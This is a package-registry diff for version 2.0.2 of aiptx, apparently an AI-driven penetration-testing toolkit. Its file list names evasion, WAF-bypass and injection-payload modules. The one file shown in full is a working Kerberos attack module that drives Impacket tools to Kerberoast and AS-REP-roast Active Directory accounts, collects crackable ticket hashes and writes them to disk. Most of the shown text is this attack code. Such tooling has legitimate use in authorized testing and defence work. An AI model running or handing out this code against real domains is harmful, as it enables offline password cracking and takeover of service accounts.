aiptx 2.0.2__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of aiptx might be problematic. Click here for more details.
- aipt_v2/__init__.py +110 -0
- aipt_v2/__main__.py +24 -0
- aipt_v2/agents/AIPTxAgent/__init__.py +10 -0
- aipt_v2/agents/AIPTxAgent/aiptx_agent.py +211 -0
- aipt_v2/agents/__init__.py +24 -0
- aipt_v2/agents/base.py +520 -0
- aipt_v2/agents/ptt.py +406 -0
- aipt_v2/agents/state.py +168 -0
- aipt_v2/app.py +960 -0
- aipt_v2/browser/__init__.py +31 -0
- aipt_v2/browser/automation.py +458 -0
- aipt_v2/browser/crawler.py +453 -0
- aipt_v2/cli.py +321 -0
- aipt_v2/compliance/__init__.py +71 -0
- aipt_v2/compliance/compliance_report.py +449 -0
- aipt_v2/compliance/framework_mapper.py +424 -0
- aipt_v2/compliance/nist_mapping.py +345 -0
- aipt_v2/compliance/owasp_mapping.py +330 -0
- aipt_v2/compliance/pci_mapping.py +297 -0
- aipt_v2/config.py +288 -0
- aipt_v2/core/__init__.py +43 -0
- aipt_v2/core/agent.py +630 -0
- aipt_v2/core/llm.py +395 -0
- aipt_v2/core/memory.py +305 -0
- aipt_v2/core/ptt.py +329 -0
- aipt_v2/database/__init__.py +14 -0
- aipt_v2/database/models.py +232 -0
- aipt_v2/database/repository.py +384 -0
- aipt_v2/docker/__init__.py +23 -0
- aipt_v2/docker/builder.py +260 -0
- aipt_v2/docker/manager.py +222 -0
- aipt_v2/docker/sandbox.py +371 -0
- aipt_v2/evasion/__init__.py +58 -0
- aipt_v2/evasion/request_obfuscator.py +272 -0
- aipt_v2/evasion/tls_fingerprint.py +285 -0
- aipt_v2/evasion/ua_rotator.py +301 -0
- aipt_v2/evasion/waf_bypass.py +439 -0
- aipt_v2/execution/__init__.py +23 -0
- aipt_v2/execution/executor.py +302 -0
- aipt_v2/execution/parser.py +544 -0
- aipt_v2/execution/terminal.py +337 -0
- aipt_v2/health.py +437 -0
- aipt_v2/intelligence/__init__.py +85 -0
- aipt_v2/intelligence/auth.py +520 -0
- aipt_v2/intelligence/chaining.py +775 -0
- aipt_v2/intelligence/cve_aipt.py +334 -0
- aipt_v2/intelligence/cve_info.py +1111 -0
- aipt_v2/intelligence/rag.py +239 -0
- aipt_v2/intelligence/scope.py +442 -0
- aipt_v2/intelligence/searchers/__init__.py +5 -0
- aipt_v2/intelligence/searchers/exploitdb_searcher.py +523 -0
- aipt_v2/intelligence/searchers/github_searcher.py +467 -0
- aipt_v2/intelligence/searchers/google_searcher.py +281 -0
- aipt_v2/intelligence/tools.json +443 -0
- aipt_v2/intelligence/triage.py +670 -0
- aipt_v2/interface/__init__.py +5 -0
- aipt_v2/interface/cli.py +230 -0
- aipt_v2/interface/main.py +501 -0
- aipt_v2/interface/tui.py +1276 -0
- aipt_v2/interface/utils.py +583 -0
- aipt_v2/llm/__init__.py +39 -0
- aipt_v2/llm/config.py +26 -0
- aipt_v2/llm/llm.py +514 -0
- aipt_v2/llm/memory.py +214 -0
- aipt_v2/llm/request_queue.py +89 -0
- aipt_v2/llm/utils.py +89 -0
- aipt_v2/models/__init__.py +15 -0
- aipt_v2/models/findings.py +295 -0
- aipt_v2/models/phase_result.py +224 -0
- aipt_v2/models/scan_config.py +207 -0
- aipt_v2/monitoring/grafana/dashboards/aipt-dashboard.json +355 -0
- aipt_v2/monitoring/grafana/dashboards/default.yml +17 -0
- aipt_v2/monitoring/grafana/datasources/prometheus.yml +17 -0
- aipt_v2/monitoring/prometheus.yml +60 -0
- aipt_v2/orchestration/__init__.py +52 -0
- aipt_v2/orchestration/pipeline.py +398 -0
- aipt_v2/orchestration/progress.py +300 -0
- aipt_v2/orchestration/scheduler.py +296 -0
- aipt_v2/orchestrator.py +2284 -0
- aipt_v2/payloads/__init__.py +27 -0
- aipt_v2/payloads/cmdi.py +150 -0
- aipt_v2/payloads/sqli.py +263 -0
- aipt_v2/payloads/ssrf.py +204 -0
- aipt_v2/payloads/templates.py +222 -0
- aipt_v2/payloads/traversal.py +166 -0
- aipt_v2/payloads/xss.py +204 -0
- aipt_v2/prompts/__init__.py +60 -0
- aipt_v2/proxy/__init__.py +29 -0
- aipt_v2/proxy/history.py +352 -0
- aipt_v2/proxy/interceptor.py +452 -0
- aipt_v2/recon/__init__.py +44 -0
- aipt_v2/recon/dns.py +241 -0
- aipt_v2/recon/osint.py +367 -0
- aipt_v2/recon/subdomain.py +372 -0
- aipt_v2/recon/tech_detect.py +311 -0
- aipt_v2/reports/__init__.py +17 -0
- aipt_v2/reports/generator.py +313 -0
- aipt_v2/reports/html_report.py +378 -0
- aipt_v2/runtime/__init__.py +44 -0
- aipt_v2/runtime/base.py +30 -0
- aipt_v2/runtime/docker.py +401 -0
- aipt_v2/runtime/local.py +346 -0
- aipt_v2/runtime/tool_server.py +205 -0
- aipt_v2/scanners/__init__.py +28 -0
- aipt_v2/scanners/base.py +273 -0
- aipt_v2/scanners/nikto.py +244 -0
- aipt_v2/scanners/nmap.py +402 -0
- aipt_v2/scanners/nuclei.py +273 -0
- aipt_v2/scanners/web.py +454 -0
- aipt_v2/scripts/security_audit.py +366 -0
- aipt_v2/telemetry/__init__.py +7 -0
- aipt_v2/telemetry/tracer.py +347 -0
- aipt_v2/terminal/__init__.py +28 -0
- aipt_v2/terminal/executor.py +400 -0
- aipt_v2/terminal/sandbox.py +350 -0
- aipt_v2/tools/__init__.py +44 -0
- aipt_v2/tools/active_directory/__init__.py +78 -0
- aipt_v2/tools/active_directory/ad_config.py +238 -0
- aipt_v2/tools/active_directory/bloodhound_wrapper.py +447 -0
- aipt_v2/tools/active_directory/kerberos_attacks.py +430 -0
- aipt_v2/tools/active_directory/ldap_enum.py +533 -0
- aipt_v2/tools/active_directory/smb_attacks.py +505 -0
- aipt_v2/tools/agents_graph/__init__.py +19 -0
- aipt_v2/tools/agents_graph/agents_graph_actions.py +69 -0
- aipt_v2/tools/api_security/__init__.py +76 -0
- aipt_v2/tools/api_security/api_discovery.py +608 -0
- aipt_v2/tools/api_security/graphql_scanner.py +622 -0
- aipt_v2/tools/api_security/jwt_analyzer.py +577 -0
- aipt_v2/tools/api_security/openapi_fuzzer.py +761 -0
- aipt_v2/tools/browser/__init__.py +5 -0
- aipt_v2/tools/browser/browser_actions.py +238 -0
- aipt_v2/tools/browser/browser_instance.py +535 -0
- aipt_v2/tools/browser/tab_manager.py +344 -0
- aipt_v2/tools/cloud/__init__.py +70 -0
- aipt_v2/tools/cloud/cloud_config.py +273 -0
- aipt_v2/tools/cloud/cloud_scanner.py +639 -0
- aipt_v2/tools/cloud/prowler_tool.py +571 -0
- aipt_v2/tools/cloud/scoutsuite_tool.py +359 -0
- aipt_v2/tools/executor.py +307 -0
- aipt_v2/tools/parser.py +408 -0
- aipt_v2/tools/proxy/__init__.py +5 -0
- aipt_v2/tools/proxy/proxy_actions.py +103 -0
- aipt_v2/tools/proxy/proxy_manager.py +789 -0
- aipt_v2/tools/registry.py +196 -0
- aipt_v2/tools/scanners/__init__.py +343 -0
- aipt_v2/tools/scanners/acunetix_tool.py +712 -0
- aipt_v2/tools/scanners/burp_tool.py +631 -0
- aipt_v2/tools/scanners/config.py +156 -0
- aipt_v2/tools/scanners/nessus_tool.py +588 -0
- aipt_v2/tools/scanners/zap_tool.py +612 -0
- aipt_v2/tools/terminal/__init__.py +5 -0
- aipt_v2/tools/terminal/terminal_actions.py +37 -0
- aipt_v2/tools/terminal/terminal_manager.py +153 -0
- aipt_v2/tools/terminal/terminal_session.py +449 -0
- aipt_v2/tools/tool_processing.py +108 -0
- aipt_v2/utils/__init__.py +17 -0
- aipt_v2/utils/logging.py +201 -0
- aipt_v2/utils/model_manager.py +187 -0
- aipt_v2/utils/searchers/__init__.py +269 -0
- aiptx-2.0.2.dist-info/METADATA +324 -0
- aiptx-2.0.2.dist-info/RECORD +165 -0
- aiptx-2.0.2.dist-info/WHEEL +5 -0
- aiptx-2.0.2.dist-info/entry_points.txt +7 -0
- aiptx-2.0.2.dist-info/licenses/LICENSE +21 -0
- aiptx-2.0.2.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,430 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Kerberos Attack Module
|
|
3
|
+
|
|
4
|
+
Implements common Kerberos-based attacks:
|
|
5
|
+
- Kerberoasting: Extract TGS tickets for service accounts
|
|
6
|
+
- AS-REP Roasting: Attack accounts without pre-auth
|
|
7
|
+
- Golden/Silver ticket detection
|
|
8
|
+
- Kerberos delegation abuse
|
|
9
|
+
|
|
10
|
+
Uses Impacket library for Kerberos operations.
|
|
11
|
+
|
|
12
|
+
Usage:
|
|
13
|
+
from aipt_v2.tools.active_directory import KerberosAttacks
|
|
14
|
+
|
|
15
|
+
attacker = KerberosAttacks(config)
|
|
16
|
+
hashes = await attacker.kerberoast()
|
|
17
|
+
"""
|
|
18
|
+
|
|
19
|
+
import asyncio
|
|
20
|
+
import re
|
|
21
|
+
from dataclasses import dataclass, field
|
|
22
|
+
from datetime import datetime, timezone
|
|
23
|
+
from pathlib import Path
|
|
24
|
+
from typing import List, Dict, Any, Optional
|
|
25
|
+
|
|
26
|
+
from aipt_v2.tools.active_directory.ad_config import ADConfig, get_ad_config
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
@dataclass
|
|
30
|
+
class KerberosFinding:
|
|
31
|
+
"""Kerberos attack finding."""
|
|
32
|
+
attack_type: str # kerberoast, asreproast, delegation, ticket
|
|
33
|
+
severity: str
|
|
34
|
+
title: str
|
|
35
|
+
description: str
|
|
36
|
+
account: str
|
|
37
|
+
hash_value: str = ""
|
|
38
|
+
crackable: bool = False
|
|
39
|
+
remediation: str = ""
|
|
40
|
+
timestamp: str = ""
|
|
41
|
+
|
|
42
|
+
def __post_init__(self):
|
|
43
|
+
if not self.timestamp:
|
|
44
|
+
self.timestamp = datetime.now(timezone.utc).isoformat()
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
@dataclass
|
|
48
|
+
class KerberosResult:
|
|
49
|
+
"""Result of Kerberos attacks."""
|
|
50
|
+
domain: str
|
|
51
|
+
status: str
|
|
52
|
+
started_at: str
|
|
53
|
+
finished_at: str
|
|
54
|
+
duration: float
|
|
55
|
+
kerberoast_hashes: List[str]
|
|
56
|
+
asreproast_hashes: List[str]
|
|
57
|
+
findings: List[KerberosFinding]
|
|
58
|
+
metadata: Dict[str, Any] = field(default_factory=dict)
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
class KerberosAttacks:
|
|
62
|
+
"""
|
|
63
|
+
Kerberos Attack Tool.
|
|
64
|
+
|
|
65
|
+
Performs Kerberos-based attacks against Active Directory
|
|
66
|
+
including Kerberoasting and AS-REP roasting.
|
|
67
|
+
"""
|
|
68
|
+
|
|
69
|
+
def __init__(self, config: Optional[ADConfig] = None):
|
|
70
|
+
"""
|
|
71
|
+
Initialize Kerberos attacker.
|
|
72
|
+
|
|
73
|
+
Args:
|
|
74
|
+
config: AD configuration
|
|
75
|
+
"""
|
|
76
|
+
self.config = config or ADConfig()
|
|
77
|
+
self.findings: List[KerberosFinding] = []
|
|
78
|
+
self.kerberoast_hashes: List[str] = []
|
|
79
|
+
self.asreproast_hashes: List[str] = []
|
|
80
|
+
|
|
81
|
+
async def _run_impacket_tool(self, tool: str, args: List[str]) -> str:
|
|
82
|
+
"""Run Impacket tool and return output."""
|
|
83
|
+
cmd = [tool] + args
|
|
84
|
+
|
|
85
|
+
try:
|
|
86
|
+
process = await asyncio.create_subprocess_exec(
|
|
87
|
+
*cmd,
|
|
88
|
+
stdout=asyncio.subprocess.PIPE,
|
|
89
|
+
stderr=asyncio.subprocess.PIPE
|
|
90
|
+
)
|
|
91
|
+
|
|
92
|
+
stdout, stderr = await asyncio.wait_for(
|
|
93
|
+
process.communicate(),
|
|
94
|
+
timeout=self.config.timeout
|
|
95
|
+
)
|
|
96
|
+
|
|
97
|
+
return stdout.decode() + stderr.decode()
|
|
98
|
+
|
|
99
|
+
except asyncio.TimeoutError:
|
|
100
|
+
return ""
|
|
101
|
+
except FileNotFoundError:
|
|
102
|
+
return f"[!] Tool not found: {tool}"
|
|
103
|
+
except Exception as e:
|
|
104
|
+
return f"[!] Error: {e}"
|
|
105
|
+
|
|
106
|
+
async def kerberoast(self, target_users: List[str] = None) -> List[str]:
|
|
107
|
+
"""
|
|
108
|
+
Perform Kerberoasting attack.
|
|
109
|
+
|
|
110
|
+
Extracts TGS tickets for service accounts that can be
|
|
111
|
+
cracked offline to reveal passwords.
|
|
112
|
+
|
|
113
|
+
Args:
|
|
114
|
+
target_users: Specific users to target (optional)
|
|
115
|
+
|
|
116
|
+
Returns:
|
|
117
|
+
List of extracted hashes in hashcat format
|
|
118
|
+
"""
|
|
119
|
+
hashes = []
|
|
120
|
+
|
|
121
|
+
# Build GetUserSPNs command
|
|
122
|
+
args = [
|
|
123
|
+
f"{self.config.credentials.domain}/{self.config.credentials.username}",
|
|
124
|
+
"-dc-ip", self.config.dc_ip,
|
|
125
|
+
"-request"
|
|
126
|
+
]
|
|
127
|
+
|
|
128
|
+
if self.config.credentials.password:
|
|
129
|
+
args.extend(["-p", self.config.credentials.password])
|
|
130
|
+
elif self.config.credentials.ntlm_hash:
|
|
131
|
+
args.extend(["-hashes", self.config.credentials.ntlm_hash])
|
|
132
|
+
|
|
133
|
+
if target_users:
|
|
134
|
+
args.extend(["-usersfile", ",".join(target_users)])
|
|
135
|
+
|
|
136
|
+
output = await self._run_impacket_tool("GetUserSPNs.py", args)
|
|
137
|
+
|
|
138
|
+
# Parse TGS hashes from output
|
|
139
|
+
# Format: $krb5tgs$23$*user$domain$SPN*$hash
|
|
140
|
+
hash_pattern = r"\$krb5tgs\$[^\s]+"
|
|
141
|
+
matches = re.findall(hash_pattern, output)
|
|
142
|
+
|
|
143
|
+
for match in matches:
|
|
144
|
+
hashes.append(match)
|
|
145
|
+
|
|
146
|
+
# Extract username from hash
|
|
147
|
+
user_match = re.search(r"\$krb5tgs\$\d+\$\*([^$]+)\$", match)
|
|
148
|
+
username = user_match.group(1) if user_match else "unknown"
|
|
149
|
+
|
|
150
|
+
self.findings.append(KerberosFinding(
|
|
151
|
+
attack_type="kerberoast",
|
|
152
|
+
severity="high",
|
|
153
|
+
title=f"Kerberoastable Account: {username}",
|
|
154
|
+
description=f"Extracted TGS ticket for {username}",
|
|
155
|
+
account=username,
|
|
156
|
+
hash_value=match[:100] + "...",
|
|
157
|
+
crackable=True,
|
|
158
|
+
remediation="Use strong passwords (25+ chars) for service accounts"
|
|
159
|
+
))
|
|
160
|
+
|
|
161
|
+
self.kerberoast_hashes = hashes
|
|
162
|
+
return hashes
|
|
163
|
+
|
|
164
|
+
async def asreproast(self, target_users: List[str] = None) -> List[str]:
|
|
165
|
+
"""
|
|
166
|
+
Perform AS-REP Roasting attack.
|
|
167
|
+
|
|
168
|
+
Attacks accounts that don't require Kerberos pre-authentication.
|
|
169
|
+
|
|
170
|
+
Args:
|
|
171
|
+
target_users: Specific users to target (optional)
|
|
172
|
+
|
|
173
|
+
Returns:
|
|
174
|
+
List of extracted hashes
|
|
175
|
+
"""
|
|
176
|
+
hashes = []
|
|
177
|
+
|
|
178
|
+
# Build GetNPUsers command
|
|
179
|
+
args = [
|
|
180
|
+
f"{self.config.credentials.domain}/",
|
|
181
|
+
"-dc-ip", self.config.dc_ip,
|
|
182
|
+
"-request"
|
|
183
|
+
]
|
|
184
|
+
|
|
185
|
+
# Can run without credentials to find vulnerable users
|
|
186
|
+
if self.config.credentials.username:
|
|
187
|
+
args[0] = f"{self.config.credentials.domain}/{self.config.credentials.username}"
|
|
188
|
+
if self.config.credentials.password:
|
|
189
|
+
args.extend(["-p", self.config.credentials.password])
|
|
190
|
+
|
|
191
|
+
if target_users:
|
|
192
|
+
args.extend(["-usersfile", ",".join(target_users)])
|
|
193
|
+
else:
|
|
194
|
+
args.append("-no-pass")
|
|
195
|
+
|
|
196
|
+
output = await self._run_impacket_tool("GetNPUsers.py", args)
|
|
197
|
+
|
|
198
|
+
# Parse AS-REP hashes
|
|
199
|
+
# Format: $krb5asrep$23$user@domain:hash
|
|
200
|
+
hash_pattern = r"\$krb5asrep\$[^\s]+"
|
|
201
|
+
matches = re.findall(hash_pattern, output)
|
|
202
|
+
|
|
203
|
+
for match in matches:
|
|
204
|
+
hashes.append(match)
|
|
205
|
+
|
|
206
|
+
# Extract username
|
|
207
|
+
user_match = re.search(r"\$krb5asrep\$\d+\$([^@]+)@", match)
|
|
208
|
+
username = user_match.group(1) if user_match else "unknown"
|
|
209
|
+
|
|
210
|
+
self.findings.append(KerberosFinding(
|
|
211
|
+
attack_type="asreproast",
|
|
212
|
+
severity="high",
|
|
213
|
+
title=f"AS-REP Roastable Account: {username}",
|
|
214
|
+
description=f"Account {username} does not require pre-auth",
|
|
215
|
+
account=username,
|
|
216
|
+
hash_value=match[:100] + "...",
|
|
217
|
+
crackable=True,
|
|
218
|
+
remediation="Enable Kerberos pre-authentication for this account"
|
|
219
|
+
))
|
|
220
|
+
|
|
221
|
+
self.asreproast_hashes = hashes
|
|
222
|
+
return hashes
|
|
223
|
+
|
|
224
|
+
async def check_delegation(self) -> List[KerberosFinding]:
|
|
225
|
+
"""
|
|
226
|
+
Check for dangerous Kerberos delegation settings.
|
|
227
|
+
|
|
228
|
+
Returns:
|
|
229
|
+
List of delegation-related findings
|
|
230
|
+
"""
|
|
231
|
+
findings = []
|
|
232
|
+
|
|
233
|
+
# Use findDelegation.py from Impacket
|
|
234
|
+
args = [
|
|
235
|
+
f"{self.config.credentials.domain}/{self.config.credentials.username}",
|
|
236
|
+
"-dc-ip", self.config.dc_ip
|
|
237
|
+
]
|
|
238
|
+
|
|
239
|
+
if self.config.credentials.password:
|
|
240
|
+
args.extend(["-p", self.config.credentials.password])
|
|
241
|
+
elif self.config.credentials.ntlm_hash:
|
|
242
|
+
args.extend(["-hashes", self.config.credentials.ntlm_hash])
|
|
243
|
+
|
|
244
|
+
output = await self._run_impacket_tool("findDelegation.py", args)
|
|
245
|
+
|
|
246
|
+
# Parse delegation output
|
|
247
|
+
if "Unconstrained" in output:
|
|
248
|
+
findings.append(KerberosFinding(
|
|
249
|
+
attack_type="delegation",
|
|
250
|
+
severity="critical",
|
|
251
|
+
title="Unconstrained Delegation Found",
|
|
252
|
+
description="Account with unconstrained delegation can impersonate any user",
|
|
253
|
+
account="See output for details",
|
|
254
|
+
remediation="Use constrained delegation or remove delegation rights"
|
|
255
|
+
))
|
|
256
|
+
|
|
257
|
+
if "Constrained" in output:
|
|
258
|
+
findings.append(KerberosFinding(
|
|
259
|
+
attack_type="delegation",
|
|
260
|
+
severity="high",
|
|
261
|
+
title="Constrained Delegation Found",
|
|
262
|
+
description="Account can delegate to specific services",
|
|
263
|
+
account="See output for details",
|
|
264
|
+
remediation="Review delegation targets and minimize scope"
|
|
265
|
+
))
|
|
266
|
+
|
|
267
|
+
if "Resource-Based Constrained" in output or "RBCD" in output:
|
|
268
|
+
findings.append(KerberosFinding(
|
|
269
|
+
attack_type="delegation",
|
|
270
|
+
severity="high",
|
|
271
|
+
title="Resource-Based Constrained Delegation",
|
|
272
|
+
description="RBCD configured - may be abusable",
|
|
273
|
+
account="See output for details",
|
|
274
|
+
remediation="Review msDS-AllowedToActOnBehalfOfOtherIdentity"
|
|
275
|
+
))
|
|
276
|
+
|
|
277
|
+
self.findings.extend(findings)
|
|
278
|
+
return findings
|
|
279
|
+
|
|
280
|
+
async def enumerate_spns(self) -> List[Dict]:
|
|
281
|
+
"""
|
|
282
|
+
Enumerate Service Principal Names.
|
|
283
|
+
|
|
284
|
+
Returns:
|
|
285
|
+
List of SPNs and associated accounts
|
|
286
|
+
"""
|
|
287
|
+
spns = []
|
|
288
|
+
|
|
289
|
+
args = [
|
|
290
|
+
f"{self.config.credentials.domain}/{self.config.credentials.username}",
|
|
291
|
+
"-dc-ip", self.config.dc_ip
|
|
292
|
+
]
|
|
293
|
+
|
|
294
|
+
if self.config.credentials.password:
|
|
295
|
+
args.extend(["-p", self.config.credentials.password])
|
|
296
|
+
|
|
297
|
+
output = await self._run_impacket_tool("GetUserSPNs.py", args)
|
|
298
|
+
|
|
299
|
+
# Parse SPN listing
|
|
300
|
+
lines = output.split("\n")
|
|
301
|
+
for line in lines:
|
|
302
|
+
if "/" in line and not line.startswith("#") and not line.startswith("["):
|
|
303
|
+
parts = line.split()
|
|
304
|
+
if len(parts) >= 2:
|
|
305
|
+
spns.append({
|
|
306
|
+
"spn": parts[0] if "/" in parts[0] else parts[1],
|
|
307
|
+
"user": parts[0] if "/" not in parts[0] else "unknown"
|
|
308
|
+
})
|
|
309
|
+
|
|
310
|
+
return spns
|
|
311
|
+
|
|
312
|
+
def save_hashes(self, output_file: str) -> int:
|
|
313
|
+
"""
|
|
314
|
+
Save extracted hashes to file.
|
|
315
|
+
|
|
316
|
+
Args:
|
|
317
|
+
output_file: Output file path
|
|
318
|
+
|
|
319
|
+
Returns:
|
|
320
|
+
Number of hashes saved
|
|
321
|
+
"""
|
|
322
|
+
all_hashes = self.kerberoast_hashes + self.asreproast_hashes
|
|
323
|
+
|
|
324
|
+
if not all_hashes:
|
|
325
|
+
return 0
|
|
326
|
+
|
|
327
|
+
output_path = Path(output_file)
|
|
328
|
+
output_path.parent.mkdir(parents=True, exist_ok=True)
|
|
329
|
+
|
|
330
|
+
with open(output_path, "w") as f:
|
|
331
|
+
for hash_val in all_hashes:
|
|
332
|
+
f.write(hash_val + "\n")
|
|
333
|
+
|
|
334
|
+
return len(all_hashes)
|
|
335
|
+
|
|
336
|
+
async def run_attacks(self) -> KerberosResult:
|
|
337
|
+
"""
|
|
338
|
+
Run all Kerberos attacks.
|
|
339
|
+
|
|
340
|
+
Returns:
|
|
341
|
+
KerberosResult with findings
|
|
342
|
+
"""
|
|
343
|
+
started_at = datetime.now(timezone.utc).isoformat()
|
|
344
|
+
start_time = asyncio.get_event_loop().time()
|
|
345
|
+
|
|
346
|
+
# Run attacks
|
|
347
|
+
await self.kerberoast()
|
|
348
|
+
await self.asreproast()
|
|
349
|
+
await self.check_delegation()
|
|
350
|
+
|
|
351
|
+
finished_at = datetime.now(timezone.utc).isoformat()
|
|
352
|
+
duration = asyncio.get_event_loop().time() - start_time
|
|
353
|
+
|
|
354
|
+
return KerberosResult(
|
|
355
|
+
domain=self.config.domain,
|
|
356
|
+
status="completed",
|
|
357
|
+
started_at=started_at,
|
|
358
|
+
finished_at=finished_at,
|
|
359
|
+
duration=duration,
|
|
360
|
+
kerberoast_hashes=self.kerberoast_hashes,
|
|
361
|
+
asreproast_hashes=self.asreproast_hashes,
|
|
362
|
+
findings=self.findings,
|
|
363
|
+
metadata={
|
|
364
|
+
"kerberoast_count": len(self.kerberoast_hashes),
|
|
365
|
+
"asreproast_count": len(self.asreproast_hashes),
|
|
366
|
+
"finding_count": len(self.findings)
|
|
367
|
+
}
|
|
368
|
+
)
|
|
369
|
+
|
|
370
|
+
|
|
371
|
+
# Convenience functions
|
|
372
|
+
async def run_kerberoast(
|
|
373
|
+
domain: str,
|
|
374
|
+
dc_ip: str,
|
|
375
|
+
username: str,
|
|
376
|
+
password: str,
|
|
377
|
+
**kwargs
|
|
378
|
+
) -> List[str]:
|
|
379
|
+
"""
|
|
380
|
+
Quick Kerberoasting attack.
|
|
381
|
+
|
|
382
|
+
Args:
|
|
383
|
+
domain: AD domain
|
|
384
|
+
dc_ip: Domain Controller IP
|
|
385
|
+
username: Username
|
|
386
|
+
password: Password
|
|
387
|
+
|
|
388
|
+
Returns:
|
|
389
|
+
List of TGS hashes
|
|
390
|
+
"""
|
|
391
|
+
config = get_ad_config(
|
|
392
|
+
domain=domain,
|
|
393
|
+
dc_ip=dc_ip,
|
|
394
|
+
username=username,
|
|
395
|
+
password=password
|
|
396
|
+
)
|
|
397
|
+
|
|
398
|
+
attacker = KerberosAttacks(config)
|
|
399
|
+
return await attacker.kerberoast()
|
|
400
|
+
|
|
401
|
+
|
|
402
|
+
async def run_asreproast(
|
|
403
|
+
domain: str,
|
|
404
|
+
dc_ip: str,
|
|
405
|
+
username: str = None,
|
|
406
|
+
password: str = None,
|
|
407
|
+
userlist: List[str] = None
|
|
408
|
+
) -> List[str]:
|
|
409
|
+
"""
|
|
410
|
+
Quick AS-REP Roasting attack.
|
|
411
|
+
|
|
412
|
+
Args:
|
|
413
|
+
domain: AD domain
|
|
414
|
+
dc_ip: Domain Controller IP
|
|
415
|
+
username: Username (optional for unauthenticated)
|
|
416
|
+
password: Password (optional)
|
|
417
|
+
userlist: List of users to test
|
|
418
|
+
|
|
419
|
+
Returns:
|
|
420
|
+
List of AS-REP hashes
|
|
421
|
+
"""
|
|
422
|
+
config = get_ad_config(
|
|
423
|
+
domain=domain,
|
|
424
|
+
dc_ip=dc_ip,
|
|
425
|
+
username=username or "",
|
|
426
|
+
password=password or ""
|
|
427
|
+
)
|
|
428
|
+
|
|
429
|
+
attacker = KerberosAttacks(config)
|
|
430
|
+
return await attacker.asreproast(target_users=userlist)
|